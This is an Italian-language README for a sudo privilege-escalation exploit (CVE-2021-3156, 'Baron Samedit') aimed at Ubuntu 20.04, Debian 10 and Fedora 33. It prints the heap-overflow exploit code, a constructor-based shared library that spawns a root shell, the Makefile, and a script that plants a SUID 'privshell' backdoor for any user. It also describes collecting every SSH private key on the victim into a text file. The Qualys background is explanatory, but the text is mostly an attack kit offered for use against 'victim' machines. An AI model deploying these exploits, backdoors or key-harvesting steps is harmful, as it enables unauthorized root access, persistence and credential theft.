
Exploit per Ubuntu 20.04 utilizzando CVE-2021-3156 potenziato con script di post-exploitation
Exploit per Ubuntu 20.04 che utilizza CVE-2021-3156, migliorato con semplici e automatizzati script di post-exploitation
Oltre alla shell di root puoi avere:
-A file .txt con tutte le chiavi ssh id_rsa configurate sul server. Vedi lo script: get_all_ssh_keys.sh
-A eseguibile privshell che consente a qualsiasi utente di avviare una shell di root (sto lavorando per correggere l'errore gcc). Vedi lo script: create_privshell.sh
Per ottenere un risultato positivo, è necessario che la macchina vittima abbia una delle seguenti versioni di sistema operativo e Sudo:
-Ubuntu 20.04 (Sudo 1.8.31)
-Debian 10 (Sudo 1.8.27)
-Fedora 33 (Sudo 1.9.2)

Per rendere vulnerabile la mia VM, ho declassato la mia versione di sudo con il seguente comando:
$ sudo apt install sudo=1.8.31-1ubuntu1
L'exploit può funzionare finché l'accesso al sistema vittima viene ottenuto con un utente senza privilegi considerevoli.

Puoi clonare la repo sulla macchina della vittima o sulla tua macchina locale e caricarla con wget

Esegui il comando "make" per compilare i file .c secondo la vulnerabilità

Otterrai il file dell'exploit, quindi puoi eseguirlo con "./" Dopo aver eseguito l'exploit, possiamo ora vedere due file generati nella repository: uno contiene tutte le chiavi ssh registrate sul sistema e l'altro contiene il file eseguibile SUID che concede una sessione root a tutti gli utenti. (evidenziati in viola)

Potresti vedere un errore come quello seguente:

Sto ancora cercando di risolvere l'errore, ma suppongo che sia la shell a generare l'exploit. Ho provato a eseguire il comando ./create_privshell.sh da root accedendo con sudo su da un utente con i permessi appropriati e la compilazione dello script è andata a buon fine. In alternativa può essere compilato su un'altra macchina e copiato sulla vittima; è per questo che esiste una richiesta wget.
Lo script da compilare è il seguente:
echo 'int main() { setresuid(0,0,0); system("/bin/sh"); }' > privshell.c
gcc -o privshell privshell.c
rm privshell.c
chown root:root privshell
chmod u+s privshell
Ora puoi leggere i file .txt con tutte le chiavi ssh e usare privshell finché non sistemo l'errore gcc

Scoperta da Qualys
Punteggio CVSS di 7.8
CVE-2021-3156, nota anche come vulnerabilità "Baron Samedit", è una vulnerabilità di sicurezza che colpisce il programma sudo, ampiamente utilizzato sui sistemi operativi basati su Unix. Sudo è un programma che consente agli utenti di eseguire comandi con privilegi elevati, solitamente inserendo la propria password o una password di root. La vulnerabilità è causata da un problema di buffer overflow nella funzione "sudoedit" del comando sudo, che consente agli utenti di modificare file con privilegi elevati. La vulnerabilità è stata scoperta per la prima volta nel gennaio 2021 da Qualys Research Labs e colpisce le versioni di sudo dalla 1.8.2 alla 1.8.31p2 e dalla 1.9.0 alla 1.9.5p1.
###Dettagli molto molto tecnici Info da: Qualys



In altre parole, set_cmnd() è vulnerabile a un heap-based buffer overflow, perché i caratteri fuori dai limiti copiati nel buffer "user_args" non erano inclusi nella sua dimensione (calcolata alle righe 852-853).
Per la parte dell'overflow, ho usato il file exploit.c di redhawkeye/sudo-exploit
È un po' complesso ma facilmente interpretabile.
char *env[] = {
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\",
"X/X",
concat("LC_ALL=C.UTF-8@", str_repeat('A', 0xd0)),
NULL
};
Questa parte dichiara un array di variabili d'ambiente env che verrà passato alla chiamata di sistema execve. Le variabili d'ambiente contengono una serie di backslash e una variabile appositamente costruita chiamata LC_ALL che ha il valore "C.UTF-8@" concatenato con 208 (0xd0) caratteri A. Il valore C.UTF-8@ verrà passato come variabile d'ambiente LC_ALL al comando sudoedit. I 208 caratteri A servono a far traboccare un buffer nel programma sudoedit ed eseguire codice arbitrario.
char * a = concat(str_repeat('A', 0x70),"\\");
char * argv[] = {"/usr/bin/sudoedit", "-s", a, NULL};
execve(argv[0], argv, env);
Questa parte dichiara una variabile a che contiene una stringa di 112 (0x70) caratteri A, seguiti da un backslash. Dichiara poi un array argv che verrà passato a execve. L'array contiene il percorso del comando sudoedit (/usr/bin/sudoedit), il flag -s e la variabile a creata sopra.
execve(argv[0], argv, env);
Questa è la chiamata di sistema execve che esegue effettivamente il comando sudoedit con gli argomenti e le variabili d'ambiente forniti. Il programma sudoedit leggerà la variabile d'ambiente LC_ALL e tenterà di interpretarla come un percorso di file. I caratteri A in eccesso verranno usati per scrivere dati arbitrari in memoria e potenzialmente eseguire codice arbitrario.
Quindi questi dati in memoria riservati all'RCE verranno usati dal nostro file shell_tool.c
__attribute((constructor))
static void sice() {
setuid(0);
system("command");
...
system("bash");
Questa parte del codice dichiara una funzione chiamata sice con l'attributo attribute((constructor)), quindi la funzione verrà chiamata automaticamente all'avvio del programma, prima dell'esecuzione di main(). All'interno della funzione sice, viene chiamata la funzione setuid(0) per impostare l'ID utente effettivo del processo a 0, che è l'ID utente del superutente o di root. Questo dà di fatto al programma i privilegi di root. Dopodiché, usando semplicemente l'argomento system("command"), possiamo fare qualsiasi cosa prima che la sessione root appaia nel terminale; è per questo che volevo provare la cosa degli script, per avere qualche backdoor e dati esfiltrati prima di ottenere la shell di root.
Ho provato a scrivere la mia versione del codice chiamata mybufferof.c; in pratica è abbastanza simile, quindi sentiti libero di modificare il Makefile per testarla jeje
all:
gcc bufferof.c -o exploit
mkdir libnss_X
gcc -g -fPIC -shared shell_tool.c -o libnss_X/X.so.2
Per prima cosa dobbiamo compilare il nostro exploit e poi creare la directory "libnss_X". Poi l'ultimo comando compila il file shell_tool.c e crea un file oggetto condiviso chiamato X.so.2 nella directory libnss_X:
Il flag -g genera informazioni di debug per il file oggetto condiviso.
Il flag -fPIC genera codice indipendente dalla posizione per gli oggetti condivisi.
Il flag -shared specifica che deve essere creato un file oggetto condiviso.
Il file oggetto condiviso risultante X.so.2 viene inserito nella directory libnss_X creata nel secondo passaggio.
Questo è importante per la CVE, per questo motivo:

Dati da: Qualys
Questo è tutto, goditela, suppongo